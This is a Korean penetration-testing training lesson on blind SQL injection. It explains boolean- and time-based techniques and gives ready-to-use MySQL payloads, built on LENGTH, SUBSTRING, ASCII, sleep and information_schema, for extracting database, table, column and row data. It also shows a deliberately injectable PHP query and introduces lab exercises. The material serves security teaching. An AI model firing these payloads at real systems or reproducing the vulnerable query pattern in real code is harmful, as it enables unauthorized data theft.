펜테스트짐


훈련을 통해 당신의 실력을 향상시켜보세요.



Blind SQL 인젝션

모두 21명의 회원님이 완료했어요.


 실습 환경

  실습을 하시려면 로그인이 필요합니다.


Blind SQL Injection이란?


Blind SQL Injection은 사용자의 입력이 SQL 쿼리로 해석되기는 하나 웹 애플리케이션이 HTTP 응답에 어떠한 데이터나 데이터베이스 오류 메시지를 전혀 표시하지 않을 때 사용됩니다. 오류 기반 SQL Injection이나 UNION 기반 SQL Injection은  데이터베이스 오류 또는 원래 SQL 쿼리와의 의도된 통합을 통해 테스터(공격자)가 추출하고자 하는 데이터를 직접적으로 HTTP 응답에 노출시켰지만 Blind SQL Injection은 SQL 쿼리의 결과가 참 또는 거짓이냐에 따른 규칙적인 HTTP 응답의 차이를 기반으로 공격을 수행합니다. 즉, 테스터의 입장에서는 요청이 참인지 거짓인지만 확인할 수 있습니다. 마치 20개의 질문과 질문에 대한 "네(참)" 또는 "아니오(거짓)"의 대답만 듣고 문제를 해결하는 일종의 스무고개 게임과도 비슷하다고 볼 수 있습니다. 


Blind SQL Injection의 유형 및 동작 원리



Boolean 기반

SQL 쿼리의 참/거짓 여부에 따라 HTTP 응답이 명시적으로 차이가 있을 때 사용할 수 있습니다. 대부분 참/거짓 여부에 따라 응답 내용에 차이가 있거나 HTTP 응답 상태코드가 500 또는 404로 다르다던지 등 쉽게 식별할 수 있는 차이가 있습니다. 하지만 어떤 경우에는 마침표 하나가 있고 없고의 아주 미세한 차이만 있을 수 있습니다. 어떤 경우라도 참/거짓에 따라 응답에 차이가 있다면 충분히 Boolean 기반의 SQL Injection에 위협받을 수 있습니다.  


게시글의 ID를 GET 매개변수로 받아 해당 게시글을 조회하는 PHP 예제를 봅시다.

  • 요청 URL
http://www.example.com/view.php?id=5
  • PHP 소스코드
...생략...
$id = $_GET['id'];
$sql = "SELECT subject, content, author FROM board WHERE id=".$id;
...생략...


보시다시피 "id" 매개변수는 SQL 쿼리의 WHERE절에 사용된 숫자 타입 컬럼과 연결되고 "id" 매개변수의 입력값은 SQL Injection에 취약하게 구현되어 SQL 쿼리로써 해석됩니다. 이와 같은 경우 테스터는 다음과 같은 입력값을 사용할 수 있습니다.

먼저 SQL 쿼리의 결과가 거짓(FALSE)이 되도록 다음과 같이 요청합니다.

http://www.example.com/view.php?id=5+AND+1%3D0--+      (URL인코딩된 5 AND 1=0-- )

이 요청을 받은 웹 애플리케이션은 다음과 같은 SQL 쿼리를 실행하도록 데이터베이스에 요청하여 결과를 받습니다. 

SELECT subject, content, author
FROM board
WHERE id=5 AND 1=0-- ;

강제로 주입된 SQL 구문인 AND 1=0-- 에 의해 SQL 쿼리는 거짓(FALSE)이 되고 쿼리는 어떤 행도 반환하지 않습니다. 결국 HTTP 응답에 아무런 게시글이 조회되지 않게 되죠.

이제 SQL 쿼리의 결과가 참(TRUE)이 되는 요청을 제출합니다.

http://www.example.com/view.php?id=5+AND+1%3D1--+      (URL인코딩된 5 AND 1=1-- )

참(TRUE)인 조건을 주입했으므로 당연히 SQL 쿼리는 참(TRUE)이 되고 조작되지 않은 요청(id=5)과 동일한 행을 반환하게 됩니다.

SELECT subject, content, author
FROM board
WHERE id=5 AND 1=1-- ;


이와 같이 Blind SQL Injection은 SQL 쿼리의 결과가 참인지 거짓인지를 판단할 수 있는 점을 이용합니다. 왠만한 데이터베이스에서 제공되는 LENGTH()SUBSTRING()ASCII() 등의 함수를 이용해 특정 컬럼의 문자를 첫번째 문자부터 하나씩 차례대로 모든 문자와 비교하는 방법을 통해 최종적으로 모든 문자들을 추론할 수 있고 이를 조합하여 원하는 데이터를 얻을 수 있습니다. 공격 방식의 이해를 위해 단순한 예를 들어 보겠습니다. 어떤 컬럼에 저장되어있는 데이터를 알아내기 위한 예입니다.


  • 컬럼 길이 결정 (우선 길이부터 결정합니다.)
5 AND LENGTH(컬럼명)=1--+                (결과:거짓)
5 AND LENGTH(컬럼명)=2--+        (결과:거짓)
5 AND LENGTH(컬럼명)=3--+        (결과:참) <---컬럼의 길이는 3임.


컬럼의 길이가 3이므로 3개의 문자에 대해서만 문자 비교를 수행하면 됩니다. 실제 테스트시에는 ASCII() 함수를 이용해 ASCII  코드의 Decimal 값과 비교하는 것이 좋습니다.

  • 첫번째 문자 추론
...이전 비교 생략...
5 AND SUBSTRING(컬럼명,1,1)='a'--+       (결과:거짓)
5 AND SUBSTRING(컬럼명,1,1)='b'--+       (결과:참)    <---첫번째 문자: 'b'
  • 두번째 문자 추론
...이전 비교 생략...
5 AND SUBSTRING(컬럼명,2,1)='s'--+       (결과:거짓)
5 AND SUBSTRING(컬럼명,2,1)='t'--+       (결과:거짓)
5 AND SUBSTRING(컬럼명,2,1)='u'--+       (결과:참)    <---두번째 문자: 'u'
  • 세번째 문자 추론
...이전 비교 생략...
5 AND SUBSTRING(컬럼명,3,1)='f'--+       (결과:거짓)
5 AND SUBSTRING(컬럼명,3,1)='g'--+       (결과:참)    <---세번째 문자: 'g'


SQL 쿼리의 결과가 참이 나온 문자를 조합하면 컬럼의 데이터는 bug가 되겠네요.


Time(시간) 기반

SQL 쿼리의 참/거짓 여부에 따른 HTTP 응답의 차이를 육안으로 확인은 불가능하나 서버의 응답 시간 제어가 가능한 경우 사용됩니다. 공격자는 응답상에서 참/거짓을 판단할 수 있는 단서가 없으므로 참인 경우 의도적으로 서버의 응답을 지연시키는 함수를 주입하여 지정된 시간만큼 응답이 지연된다면 참으로 판단합니다. SQL 쿼리에 서버의 응답 시간을 제어하기 위한 DBMS별 함수는 다음과 같습니다.


Boolean 기반의 공격과 같은 진입점을 예로 들어 봅시다. 단, 이번에는 SQL 쿼리를 참/거짓 여부에 따른 응답의 차이가 없고 항상 동일한 경우입니다.

http://www.example.com/view.php?id=5


테스터는 DBMS 종류별로 다음과 같은 방법을 통해 Time 기반 SQL Injection에 취약한지 검사합니다.


  • MySQL (또는 MariaDB)
http://www.example.com/view.php?id=5 AND if(1=1,sleep(10),false)--+
  • MSSQL
http://www.example.com/view.php?id=5 AND if (1=1) waitfor delay '0:0:10'--+
  • Oracle
http://www.example.com/view.php?id=5 AND if 1=1 then BEGIN dbms_lock.sleep(10); END; end if--+


만일 SQL Injection에 취약하다면 if문 내부의 조건식 1=1이 참이므로 서버의 응답 시간은 지정된 시간(10초)만큼 지연될 것입니다. 

공격은 Boolean 기반과 거의 동일한 구문이 사용됩니다. 길이가 3인 컬럼이며 DBMS는 MySQL에 대한 예입니다. 다른 DBMS에 대한 공격은 바로 위의 취약 여부 검사 기법을 통해 응용할 수 있을 것입니다.  


  • 컬럼 길이 결정
5 AND if(LENGTH(컬럼명)=1, sleep(10), false)--+           (결과:거짓)
5 AND if(LENGTH(컬럼명)=2, sleep(10), false)--+ (결과:거짓)
5 AND if(LENGTH(컬럼명)=3, sleep(10), false)--+ (결과:참) <--- 컬럼 길이는 3임.
  • 첫번째 문자 추론
...이전 비교 생략...
5 AND if(SUBSTRING(컬럼명,1,1)='a', sleep(10), false)--+ (결과:거짓)
5 AND if(SUBSTRING(컬럼명,1,1)='b', sleep(10), false)--+ (결과:참) <--- 첫번째 문자 'b'
  • 두번째 문자 추론
...이전 비교 생략...
5 AND if(SUBSTRING(컬럼명,2,1)='s', sleep(10), false)--+ (결과:거짓)
5 AND if(SUBSTRING(컬럼명,2,1)='t', sleep(10), false)--+ (결과:거짓)
5 AND if(SUBSTRING(컬럼명,2,1)='u', sleep(10), false)--+ (결과:참) <--- 두번째 문자 'u'
  • 세번째 문자 추론
...이전 비교 생략...
5 AND if(SUBSTRING(컬럼명,3,1)='f', sleep(10), false)--+ (결과:거짓)
5 AND if(SUBSTRING(컬럼명,3,1)='g', sleep(10), false)--+ (결과:참) <--- 세번째 문자 'g'


Boolean 기반 Blind SQL Injection 테스트 방법


이 섹션에서는 MariaDB(MySQL) 데이터베이스 환경에서 Boolean 기반의 Blind SQL Injection 취약점을 테스트하기 위한 일반적인 프로세스를 다룹니다. 사용자 입력값이 SQL 쿼리로서 해석되는지 검사하여 잠재적으로 취약한지를 판단하는 Step 1~2는 모든 SQL Injection의 공통된 단계입니다. 


Step 1. 데이터베이스와 통신하는 진입점(Endpoint) 식별

대상 웹 애플리케이션의 모든 기능을 사용해보고 데이터베이스와 통신하는 것으로 의심되는 모든 진입점과 매개변수를 찾아 수집합니다. 만일 웹 애플리케이션 내에 다양한 사용자 권한이나 역할이 존재하고 이에 따라 서비스가 차등적으로 제공된다면 각 권한과 역할에 대한 모든 조합별로 사용자 계정을 생성해 웹 애플리케이션을 사용해봅니다. 공격 벡터는 GET 매개변수,  POST Body 매개변수, Cookie 등의 표준 요청 헤더나 커스텀 요청 헤더가 될 수 있습니다.


Step 2. 잠재적 취약 여부 검증

Step 1에서 수집한 진입점과 매개변수가 SQL Injection에 잠재적으로 취약한지 검사할 차례입니다. 잠재적으로 취약하다는 의미는 사용자의 입력값이 SQL 쿼리로 해석되어 백엔드의 데이터베이스와 통신한다는 것을 의미합니다. 

SQL 쿼리를 참 또는 거짓을 만들기 위해 다음과 같은 쌍의 입력값을 번갈아 사용해 제출해봅니다. 주석 문자(--) 뒤에 공백 문자(+)가 있음을 유의하세요. 

1234' AND 1=1--+          (결과:참)
1234' AND 1=0--+  (결과:거짓)
1234' AND 'a'='a'--+      (결과:참)
1234' AND 'a'='b'--+ (결과:거짓)

컬럼이 숫자형인 경우에는 다음과 같이 홑따옴표를 제거합니다.

1234 AND 1=1--+           (결과:참)
1234 AND 1=0--+ (결과:거짓)

그리고 참/거짓 결과에 따른 응답의 차이를 비교 및 분석합니다. 응답이 너무 복잡하여 확인이 어려운 경우 Burp Suite의 Comparer 기능 또는 ZAProxy의 경우 Diff 확장 기능을 활용하면 도움이 됩니다. 응답에서 SQL 쿼리의 참과 거짓을 판단할 수 있는 차이를 발견했다면 Boolean 기반의 SQL Injection을 시도해볼 수 있습니다.


Step 3. 데이터베이스 구조 파악


데이터베이스명

  • 길이 결정
AND LENGTH(database())=1--+          (결과:거짓)     
AND LENGTH(database())=2--+          (결과:거짓)     
...생략...
AND LENGTH(database())=N--+          (결과:참)      <--- 데이터베이스명의 길이는 N임.
  • 각 문자 식별 : SQL 쿼리의 결과가 참이 나올 때까지 모든 ASCII코드값을 대입하여 비교합니다. 이 과정을 첫번째 문자부터 N번째 문자까지 반복 수행합니다. 실제 사용할 때에는 { 와 }는 없어야 합니다.
AND ASCII(SUBSTRING(database(),1,1))={여기에 모든 ASCII코드값(DEC) 대입}--+
AND ASCII(SUBSTRING(database(),2,1))={여기에 모든 ASCII코드값(DEC) 대입}--+
...생략...
AND ASCII(SUBSTRING(database(),N,1))={여기에 모든 ASCII코드값(DEC) 대입}--+ 


테이블명

  • 테이블 갯수 결정
AND (SELECT count(table_name) FROM information_schema.tables WHERE table_schema=database())=1--+     (거짓)
AND (SELECT count(table_name) FROM information_schema.tables WHERE table_schema=database())=2--+ (거짓)
...생략...
AND (SELECT count(table_name) FROM information_schema.tables WHERE table_schema=database())=K--+ (참) <--- 테이블 갯수는 K개임.
  • 테이블명 길이 결정
AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))=1--+          (거짓)     
AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))=2--+          (거짓)     
...생략...
AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))=N--+          (참)      <--- 테이블명의 길이는 N임.
  • 각 문자 식별 : SQL 쿼리의 결과가 참이 나올 때까지 모든 ASCII코드값을 대입하여 비교합니다. 이 과정을 첫번째 문자부터 N번째 문자까지 반복 수행합니다. 
AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))={여기에 모든 ASCII코드값(DEC) 대입}--+
AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),2,1))={여기에 모든 ASCII코드값(DEC) 대입}--+
...생략...
AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),N,1))={여기에 모든 ASCII코드값(DEC) 대입}--+ 


* 데이터베이스 내의 모든 테이블을 열거하기 위해 LIMIT의 첫번째 인수값을 테이블 갯수인 K까지 1씩 증가시키며 위 과정을 반복합니다.


컬럼명

  • 컬럼 갯수 결정

    AND (SELECT count(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='테이블명')=1--+     (거짓)
    AND (SELECT count(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='테이블명')=2--+ (거짓)
    ...생략...
    AND (SELECT count(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='테이블명')=K--+ (참) <--- 컬럼 갯수는 K개임.
    • 길이 결정
    AND LENGTH((SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='테이블명' LIMIT 0,1))=1--+          (거짓)     
    AND LENGTH((SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='테이블명' LIMIT 0,1))=2--+          (거짓)     
    ...생략...
    AND LENGTH((SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='테이블명' LIMIT 0,1))=N--+          (참)      <--- 첫번째 컬럼명의 길이는 N임.
    • 각 문자 식별 : SQL 쿼리의 결과가 참이 나올 때까지 모든 ASCII코드값을 대입하여 비교합니다. 이 과정을 첫번째 문자부터 N번째 문자까지 반복 수행합니다. 
    AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='테이블명' LIMIT 0,1),1,1))={여기에 모든 ASCII코드값(DEC) 대입}--+
    AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='테이블명' LIMIT 0,1),2,1))={여기에 모든 ASCII코드값(DEC) 대입}--+
    ...생략...
    AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='테이블명' LIMIT 0,1),N,1))={여기에 모든 ASCII코드값(DEC) 대입}--+ 


    * 테이블 내의 모든 컬럼을 열거하기 위해 LIMIT의 첫번째 인수값을 컬럼 갯수 K까지 1씩 증가시키며 위 과정을 반복합니다.


    Step 5. 데이터 추출

    • 테이블 안의 행(Row) 갯수 결정
    AND (SELECT count(*) FROM 테이블명)=1--+     (결과:거짓)
    AND (SELECT count(*) FROM 테이블명)=2--+     (결과:거짓)
    ...생략
    AND (SELECT count(*) FROM 테이블명)=K--+     (결과:참)   <--- 테이블 행의 갯수는 K개임.
    • 길이 결정
    AND LENGTH((SELECT 컬럼명 FROM 테이블명 LIMIT 0,1))=1--+      (결과:거짓)     
    AND LENGTH((SELECT 컬럼명 FROM 테이블명 LIMIT 0,1))=2--+      (결과:거짓)     
    ...생략...
    AND LENGTH((SELECT 컬럼명 FROM 테이블명 LIMIT 0,1))=N--+      (결과:참)

    • 각 문자 식별 : SQL 쿼리의 결과가 참이 나올 때까지 모든 ASCII코드값을 대입하여 비교합니다. 이 과정을 첫번째 문자부터 N번째 문자까지 반복 수행합니다. 
    AND ASCII(SUBSTRING((SELECT 컬럼명 FROM 테이블명 LIMIT 0,1),1,1))={여기에 모든 ASCII코드값(DEC) 대입}--+
    AND ASCII(SUBSTRING((SELECT 컬럼명 FROM 테이블명 LIMIT 0,1),2,1))={여기에 모든 ASCII코드값(DEC) 대입}--+ 
    ...생략...
    AND ASCII(SUBSTRING((SELECT 컬럼명 FROM 테이블명 LIMIT 0,1),N,1))={여기에 모든 ASCII코드값(DEC) 대입}--+  

    * 테이블 내의 모든 데이터를 열거하기 위해 LIMIT의 첫번째 인수값을 행 갯수 K까지 1씩 증가시키며 위 과정을 반복합니다.


    Time 기반 Blind SQL Injection 테스트 방법



    Step 1. 데이터베이스와 통신하는 진입점(Endpoint) 식별

    Boolean 기반과 동일합니다.


    Step 2. 잠재적 취약 여부 검증

    SQL 쿼리의 결과가 참/거짓이냐에 따라 HTTP 응답 내용에서는 차이를 찾을 수 없으므로 다음과 같은 방법으로 서버의 응답 시간을 제어할 수 있는지 시도해봅니다. 만일 시간 지연이 발생한다면 Time 기반 SQL Injection에 취약합니다.

    AND if(1=1,sleep(10),false)--+      (결과:참)    <--- 시간 지연 발생
    AND if(1=0,sleep(10),false)--+ (결과:거짓)


    Step 3. 데이터베이스 구조 파악


    데이터베이스명

    • 길이 결정
    AND if(LENGTH(database())=1, sleep(10), false)--+      (결과:거짓)     
    AND if(LENGTH(database())=2, sleep(10), false)--+      (결과:거짓)     
    ...생략...
    AND if(LENGTH(database())=N, sleep(10), false)--+      (결과:참)      <--- 데이터베이스명의 길이는 N임.
    • 각 문자 식별 : SQL 쿼리의 결과가 참이 나올 때까지 모든 ASCII코드값을 대입하여 비교합니다. 이 과정을 첫번째 문자부터 N번째 문자까지 반복 수행합니다. 
    AND if(ASCII(SUBSTRING(database(),1,1))={여기에 모든 ASCII코드값(DEC) 대입}, sleep(10), false)--+
    AND if(ASCII(SUBSTRING(database(),2,1))={여기에 모든 ASCII코드값(DEC) 대입}, sleep(10), false)--+ 
    ...생략...
    AND if(ASCII(SUBSTRING(database(),N,1))={여기에 모든 ASCII코드값(DEC) 대입}, sleep(10), false)--+ 


    테이블명

    • 테이블 갯수 결정
    AND if((SELECT count(table_name) FROM information_schema.tables WHERE table_schema=database())=1,sleep(10),false)--+     (거짓)
    AND if((SELECT count(table_name) FROM information_schema.tables WHERE table_schema=database())=2,sleep(10),false)--+     (거짓)
    ...생략...
    AND if((SELECT count(table_name) FROM information_schema.tables WHERE table_schema=database())=K,sleep(10),false)--+     (참)   <--- 테이블 갯수는 K개임.
    • 길이 결정
    AND if(LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))=1, sleep(10), false)--+          (거짓)     
    AND if(LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))=2, sleep(10), false)--+          (거짓)     
    ...생략...
    AND if(LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))=N, sleep(10), false)--+          (참)      <--- 테이블명의 길이는 N임.
    • 각 문자 식별 : SQL 쿼리의 결과가 참이 나올 때까지 모든 ASCII코드값을 대입하여 비교합니다. 이 과정을 첫번째 문자부터 N번째 문자까지 반복 수행합니다. 
    AND if(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))={여기에 모든 ASCII코드값(DEC) 대입}, sleep(10), false)--+
    AND if(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),2,1))={여기에 모든 ASCII코드값(DEC) 대입}, sleep(10), false)--+ 
    ...생략...
    AND if(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),N,1))={여기에 모든 ASCII코드값(DEC) 대입}, sleep(10), false)--+ 

    * 데이터베이스 내의 모든 테이블을 열거하기 위해 LIMIT의 첫번째 인수값을 테이블 갯수 K까지 1씩 증가시키며 위 과정을 반복합니다.


    컬럼명

    • 컬럼 갯수 결정
    AND if((SELECT count(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='테이블명')=1,sleep(10),false)--+     (거짓)
    AND if((SELECT count(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='테이블명')=2,sleep(10),false)--+     (거짓)
    ...생략
    AND if((SELECT count(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='테이블명')=K,sleep(10),false)--+     (참)   <--- 컬럼 갯수는 K개임.
    • 길이 결정
    AND if(LENGTH((SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='테이블명' LIMIT 0,1))=1, sleep(10), false)--+          (거짓)     
    AND if(LENGTH((SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='테이블명' LIMIT 0,1))=2, sleep(10), false)--+          (거짓)     
    ...생략...
    AND if(LENGTH((SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='테이블명' LIMIT 0,1))=N, sleep(10), false)--+          (참)      <--- 첫번째 컬럼명의 길이는 N임.
    • 각 문자 식별 : SQL 쿼리의 결과가 참이 나올 때까지 모든 ASCII코드값을 대입하여 비교합니다. 이 과정을 첫번째 문자부터 N번째 문자까지 반복 수행합니다. 
    AND if(ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='테이블명' LIMIT 0,1),1,1))={여기에 모든 ASCII코드값(DEC) 대입}, sleep(10), false)--+
    AND if(ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='테이블명' LIMIT 0,1),2,1))={여기에 모든 ASCII코드값(DEC) 대입}, sleep(10), false)--+ 
    ...생략...
    AND if(ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='테이블명' LIMIT 0,1),N,1))={여기에 모든 ASCII코드값(DEC) 대입}, sleep(10), false)--+ 

    * 테이블 내의 모든 컬럼을 열거하기 위해 LIMIT의 첫번째 인수값을 1씩 증가시키며 위 과정을 반복합니다.


    Step 5. 데이터 추출

    • 테이블 안의 행(Row) 갯수 결정
    AND if((SELECT count(*) FROM 테이블명)=1,sleep(10),false)--+     (결과:거짓)
    AND if((SELECT count(*) FROM 테이블명)=2,sleep(10),false)--+     (결과:거짓)
    ...생략
    AND if((SELECT count(*) FROM 테이블명)=K,sleep(10),false)--+     (결과:참)   <--- 테이블 행의 갯수는 K개임.
    • 길이 결정
    AND if(LENGTH((SELECT 컬럼명 FROM 테이블명 LIMIT 0,1))=1, sleep(10), false)--+      (결과:거짓)     
    AND if(LENGTH((SELECT 컬럼명 FROM 테이블명 LIMIT 0,1))=2, sleep(10), false)--+      (결과:거짓)     
    ...생략...
    AND if(LENGTH((SELECT 컬럼명 FROM 테이블명 LIMIT 0,1))=N, sleep(10), false)--+      (결과:참)      <--- 첫번째 컬럼명의 길이는 N임.
    • 각 문자 식별 : SQL 쿼리의 결과가 참이 나올 때까지 모든 ASCII코드값을 대입하여 비교합니다. 이 과정을 첫번째 문자부터 N번째 문자까지 반복 수행합니다. 
    AND if(ASCII(SUBSTRING((SELECT 컬럼명 FROM 테이블명 LIMIT 0,1),1,1))={여기에 모든 ASCII코드값(DEC) 대입}, sleep(10), false)--+
    AND if(ASCII(SUBSTRING((SELECT 컬럼명 FROM 테이블명 LIMIT 0,1),2,1))={여기에 모든 ASCII코드값(DEC) 대입}, sleep(10), false)--+ 
    ...생략...
    AND if(ASCII(SUBSTRING((SELECT 컬럼명 FROM 테이블명 LIMIT 0,1),N,1))={여기에 모든 ASCII코드값(DEC) 대입}, sleep(10), false)--+ 

    * 테이블 내의 모든 데이터를 열거하기 위해 LIMIT의 첫번째 인수값을 1씩 증가시키며 위 과정을 반복합니다.


    실습 문제 풀이


    Boolean 기반과 Time 기반의 Blind SQL Injection 공격을 실습하기 위해 의도적으로 취약하게 제작된 기초적인 실습 문제가 제공됩니다. 본 훈련의 상단에 있는 실습 환경을 생성하여 직접 해결해보세요.   


    Exercise 1

    이 문제는 상품 세부정보 조회 페이지가 SQL Injection에 취약하지만 HTTP 응답에 데이터베이스 오류 메시지나 데이터를 직접적으로 노출시킬 수 없습니다. Boolean 기반의 SQL Injection을 시도해야 합니다. 


    Exercise 2

    이 문제에서는 SQL Injection에 취약한 직원 목록 조회 기능이 제공됩니다. 직원 목록을 조회하기 위한 요청에는 데이터베이스와 통신하는 GET 매개변수가 있지만 조회 결과는 언제나 모든 직원 목록을 표시합니다. Time 기반의 SQL Injection 기법을 통해 문제를 해결해보세요.


    참고 문헌